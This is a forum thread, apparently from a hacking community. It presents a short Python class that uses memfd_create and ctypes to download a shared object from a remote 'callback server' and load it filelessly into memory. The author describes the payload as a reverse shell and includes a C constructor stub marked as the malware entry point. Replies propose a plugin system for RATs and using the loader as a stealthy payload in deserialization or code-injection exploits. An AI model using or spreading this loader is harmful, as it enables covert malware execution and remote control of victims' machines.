Pure python in memory SO loading without shm

A few months ago I wrote up a silly project to implement purely in memory SO (shared object) loading via the memfd_create syscall. I forgot to include y’all in the fun and I am sorry :frowning:.

Sho’ nuff’ this is possible in just a few lines of python. I wrote it up as a class and it still is less than 20 LoC. The payload is a basic bitch 3dup rev shell.

Let’s go over how it works.

class SnakeEaterLoader:
def __init__(self):
    # modify 
    self.url = "http://127.0.0.1:8080/module1.so"
    # just to force it to int (lazy)
    self.fd = 0

def get_memfd(self):
    # python one liners are so pretty ain't they?

    # use ctypes to get our anon page and corosponding fd
    self.fd = ctypes.CDLL(None).syscall(MEMFD_CREATE_NO,"/tmp/none",1)

def write_so(self):
    getter = urllib.request
    # open connection to stage server
    resp = getter.urlopen(self.url)
    if resp.status != 200: # verify
        print("could not contact callback server")
        exit(1)
    # get remote so
    # hosting encrypted and decrypting
    # here would be pretty easy, but W/E
    data = resp.read()
    # write the so to our memfd created
    # page
    os.write(self.fd,data)


def open_so(self):
    # here be magic
    path = "/proc/self/fd/" + str(self.fd)
    ctypes.CDLL(path) #.dlopen(path,1) <-- doesn't fuckin work

I’m pretty sure if I wrote the algorithm out it would actually be valid python so lets just look at the class that provides the implementation

‘__int__’ sets up the variables for the callback URL and the class field ‘fd’. FD here is the file descriptor that will correspond to the memory region where out SO is loaded. But chill for a second. We are getting ahead of ourselves.

Why do we need these file descriptors and shit like that? Can’t we just read the SO into memory and use the shellcode function pointer trick to run it?

Nope.

Turns out a SO file has headers and shit that make it not behave like shellcode (imagine that). I’m sure you could parse the ELF header and find the entry point, then start execution at the parsed entrypoint; but that sounds like a fucking drag. If we can get the in-memory SO loading working it will make it easier to produce payloads as we don’t have to deal with shellcode conversion and weird NX and DEP rules.

That and there is no un-explained huge memory map just sitting somewhere. With this technique the SO file actually loads into the process in a very normal looking way.

So, enough yammering. Time for how it do.

Python is elegant in such that it gives you access to very low level interfaces in a way that is both elegant and easy to understand.

self.fd = ctypes.CDLL(None).syscall(MEMFD_CREATE_NO,"/tmp/none",1)

Let’s explain this

Ctypes is a default python library that provides an interface to interact with DLLs in windows and with SOs in Linux/UNIX systems. Were not using it to load out SO (yet) but we are using it to call memfd_create. This provides us with a file descriptor that corresponds to a chunk of our own processes memory.

Now we just use urllib and os.write to write out our SO to memory

urllib gets the data:

resp = getter.urlopen(self.url)
if resp.status != 200: # verify
    print("could not contact callback server")
    exit(1)
# get remote so
# hosting encrypted and decrypting
# here would be pretty easy, but W/E
data = resp.read()  # plain data

and os.write() writes that raw data to memory

os.write(self.fd,data)

Now that we have a SO loaded into memory and a valid file descriptor corosponding to it, it’s just a matter of what we want to do with it.

We could ptrace it into another process or we can just load it into ours. Doing so is as simple as this:

def open_so(self):
    # here be magic
    path = "/proc/self/fd/" + str(self.fd)
    ctypes.CDLL(path)

We just access the file decriptor from our own procfs entry and load it with ‘ctypes.CDLL(path)’

In our SO file we have our malware’s startup function act as the default constructor. So even though we haven’t called any functions in the SO file it has still executed code to “set up it’s own internal data structures” and whatnot.

That is demonstrated below and it fairly intuitive.

void __attribute__ ((constructor)) init_eater(void);

void init_eater()
{
    .... malware and shit
}
10 Likes

Hmm, is this like what I showed in my article [C++] Dynamic Loading of Shared Objects at Runtime ?

1 Like

It looks more like this: Super Stealthy Droppers, but loading a library, instead of running a binary :stuck_out_tongue_winking_eye:

4 Likes

Hell yeah dude. We need to get together and write up a “plugin-system” for warez and RATs. Seems like a fun way to play with c++ execution/memory management.

I wonder if there is any way to agnosticly load a class that is formatted to be a plugin. That way the plugin author only has to implement a RunPlugin() method in their class and it can do it’s own field (state for example) and thread management (like what a socks proxy would need).

I was thinking that a pickle (or otherwise serialized) version of this technique could be used as a extremely stealthy payload for an serialization exploit. Either that or if there is python command/code injection this could be one-liner’d over to take advantage of currently loaded imports to get stealthy execution on a vulnerable server.

1 Like

This topic was automatically closed after 30 days. New replies are no longer allowed.

You have your plugin class extend an abstract class, and then create a factory function to instantiate the plugin.